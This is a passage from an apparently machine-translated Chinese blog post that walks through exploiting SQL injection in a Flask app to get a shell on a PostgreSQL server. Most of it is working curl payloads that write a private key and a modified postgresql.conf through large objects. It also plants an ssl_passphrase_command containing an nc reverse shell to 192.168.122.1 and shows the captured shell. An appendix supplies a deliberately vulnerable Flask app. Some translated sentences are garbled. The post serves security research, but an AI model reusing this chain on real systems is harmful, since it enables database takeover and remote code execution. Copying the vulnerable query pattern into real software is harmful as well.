curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,30,'\x2d0a50726f632d547970653a20342c454e435259505445440a44454b2d49'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
...snip...
curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,1740,'\x2d454e44205253412050524956415445204b45592d2d2d2d2d0a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
仔细检查上载的密钥是否有意义:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''43210''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' |
perl -pe 's/^.*?<data>(.*?)/$1/g' |
while read i; do echo $i | base64 -d; done | md5sum
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2597 100 2597 0 0 507k 0 --:--:-- --:--:-- --:--:-- 634k
9f80a502993d721ee45e2c03c0da66c0 -
:~$ md5sum private_passphrase.key
9f80a502993d721ee45e2c03c0da66c0 private_passphrase.key
第三步-更新配置文件
由于配置文件已经加载到大对象中,因此我们可以将ssl_passphrase_command
和ssl_passphrase_command_supports_reload
命令附加到对象的末尾。#
在正确的偏移处插入a 将注释掉原始私钥定义,然后我们可以在末尾附加新的私钥定义。
让我们从弄清楚注释偏移量开始:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' |
perl -pe 's/^.*?<data>(.*?)/$1/g' |
while read i; do echo $i | base64 -d; done >postgres.conf
:~$ grep -b -o ssl_key_file postgres.conf
3968:ssl_key_file
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,3968,'\x23'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
现在我们可以将三行添加到配置中:
:~$ wc -c postgres.conf
24193 postgres.conf
:~$ I=0; echo -e "ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'\nssl_passphrase_command_supports_reload = on\nssl_passphrase_command = 'bash -c \"test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0\"'" |
xxd -p | while read line
do echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,$((24193+$I)),'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\""; I=$(($I+30))
done
curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24193,'\x73736c5f636572745f66696c65203d20272f7661722f6c69622f706f7374'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
...snip...
curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24463,'\x6974203027220a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
执行完上述操作后,我们可以再次检查对象是否已成功更新:
:~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' |
perl -pe 's/^.*?<data>(.*?)/$1/g' |
while read i; do echo $i | base64 -d; done |grep ssl
ssl = on
#ssl_ca_file = ''
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
#ssl_crl_file = ''
#sl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
#ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
#ssl_prefer_server_ciphers = on
#ssl_ecdh_curve = 'prime256v1'
#ssl_dh_params_file = ''
#ssl_passphrase_command = ''
#ssl_passphrase_command_supports_reload = on
ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'
第四步-将文件写到文件系统
这部分应该相对简单,用于lo_export
将文件后台处理到文件系统。16442
是配置OID
,43210
是私钥:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16442,'/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(43210,'/var/lib/postgresql/11/main/PG_VERSION')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
如果像我一样,您遭受了利用悲观论的困扰,那么您将在这里重新下载这些文件以再次检查一切是否正确。
第五步-执行!
最后一步是发出select pg_reload()
并希望收到外壳!
:~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_reload_conf()',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<pg_reload_conf>true</pg_reload_conf>
</row>
"
doi@djubre:~$ ncat -vv -k -l -p 8000
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 192.168.122.7.
Ncat: Connection from 192.168.122.7:44166.
id
uid=108(postgres) gid=114(postgres) groups=114(postgres),113(ssl-cert)
ls -l
total 84
drwx------ 6 postgres postgres 4096 May 1 23:50 base
drwx------ 2 postgres postgres 4096 May 4 20:37 global
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_commit_ts
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_dynshmem
drwx------ 4 postgres postgres 4096 May 4 22:56 pg_logical
drwx------ 4 postgres postgres 4096 May 1 16:31 pg_multixact
drwx------ 2 postgres postgres 4096 May 4 20:36 pg_notify
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_replslot
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_serial
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_snapshots
drwx------ 2 postgres postgres 4096 May 4 20:36 pg_stat
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_stat_tmp
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_subtrans
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_tblspc
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_twophase
-rw------- 1 postgres postgres 1766 May 4 22:48 PG_VERSION
drwx------ 3 postgres postgres 4096 May 1 16:31 pg_wal
drwx------ 2 postgres postgres 4096 May 1 16:31 pg_xact
-rw------- 1 postgres postgres 88 May 1 16:31 postgresql.auto.conf
-rw------- 1 postgres postgres 130 May 4 20:36 postmaster.opts
-rw------- 1 postgres postgres 108 May 4 20:36 postmaster.pid
摘要
这样就可以了,我们使用了一些有趣的技术来对Postgres DB利用SQLi,而无需执行’CREATE’,’INSERT’或’UPDATE’。这个练习当然很有趣,并且深入研究Postgres内部结构以利用SQLi确实很有趣。
一个拉取请求将发送给PayloadsAllTheThings GitHub存储库,其中包含有关这些技术的信息。
骇客入侵!
附录-转储所有POSTGRES函数并找到其相应方法
这篇文章的大部分内容来自于转储默认Postgres安装中可用的所有功能,并试图找到看起来感兴趣并且可以由默认DB用户执行的东西。您也可以使用以下SQL来转储所有postgres函数:
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name;
找到有趣的功能后,通常在源代码树中很容易找到它。使用lo_import
作为一个例子:
:~/targets/postgresql-11-11.7/src$ grep -a2 lo_import include/catalog/pg_proc.dat
{ oid => '764', descr => 'large object import',
proname => 'lo_import', provolatile => 'v', proparallel => 'u',
prorettype => 'oid', proargtypes => 'text', prosrc => 'be_lo_import' },
{ oid => '767', descr => 'large object import',
proname => 'lo_import', provolatile => 'v', proparallel => 'u',
prorettype => 'oid', proargtypes => 'text oid',
prosrc => 'be_lo_import_with_oid' },
{ oid => '765', descr => 'large object export',
proname => 'lo_export', provolatile => 'v', proparallel => 'u',
be_lo_import
是我们追求的方法,在中定义backend/libpq/be-fsstubs.c
:
386 /*
387 * lo_import -
388 * imports a file as an (inversion) large object.
389 */
390 Datum
391 be_lo_import(PG_FUNCTION_ARGS)
392 {
393 text *filename = PG_GETARG_TEXT_PP(0);
394
395 PG_RETURN_OID(lo_import_internal(filename, InvalidOid));
396 }
您可以看一下其中的内容proargtypes
,pg_proc.dat
以了解功能需要输入什么。
附录-测试代码
如果您想自己玩这些技巧,可以使用以下示例代码。这是一个易受SQL注入攻击的简单Flask应用程序,用于通过这篇文章演示SQLi技巧:
# create the DB table with:
# CREATE TABLE animals( id serial PRIMARY KEY, name VARCHAR (50) UNIQUE NOT NULL, note VARCHAR (500) NOT NULL, created_on TIMESTAMP NOT NULL);
# insert into animals (name, note, created_on) values ('dog', 'is a good dog', now());
# insert into animals (name, note, created_on) values ('cat', 'adorable, if passive aggressive', now());
# insert into animals (name, note, created_on) values ('fish', 'fish go blub', now());
# insert into animals (name, note, created_on) values ('whale', 'also go blub', now());
# insert into animals (name, note, created_on) values ('shrimp', 'also go blub', now());
# insert into animals (name, note, created_on) values ('giraffe', 'long neck, neato spots', now());
# insert into animals (name, note, created_on) values ('rock', 'TICKET 1143 rock is not animal', now());
import psycopg2
from flask import Flask
from flask import request
from flask import Response
app = Flask(__name__)
host = "127.0.0.1"
port = "5432"
dbname = "testdb"
user = "testuser"
pw = whateveryousetthetestuserpasswordto
conn = psycopg2.connect(host=host, port=port, dbname=dbname, user=user, password=pw)
cols = ['id','name','note','created_on']
@app.route("/")
def index():
result = "<h1> Test some stuff </h1>"
order = request.args.get("order")
sort = request.args.get("sort")
sqlquery = "select * from animals";
if order in cols:
sqlquery = sqlquery + " order by " + order
if sort:
sqlquery = sqlquery + " " + sort
cur = conn.cursor()
try:
cur.execute(sqlquery)
except psycopg2.Error as e:
conn.rollback()
return Response(e.pgerror, mimetype='text/plain')
result = result + "<table>"
result = result + "<th>id</th>"
result = result + "<th>name</th>"
result = result + "<th>note</th>"
result = result + "<th>created</th>"
rows = cur.fetchall()
for row in rows:
result = result + "<tr>"
result = result + "<td>" + str(row[0]) +"</td>"
result = result + "<td>" + row[1] + "</td>"
result = result + "<td>" + row[2] + "</td>"
result = result + "<td>" + row[3].strftime("%d-%b-%Y (%H:%M:%S.%f)") + "</td>"
result = result + "</tr>"
result = result + "</table>"
conn.commit()
cur.close()
return result
if __name__ == "__main__":
app.run()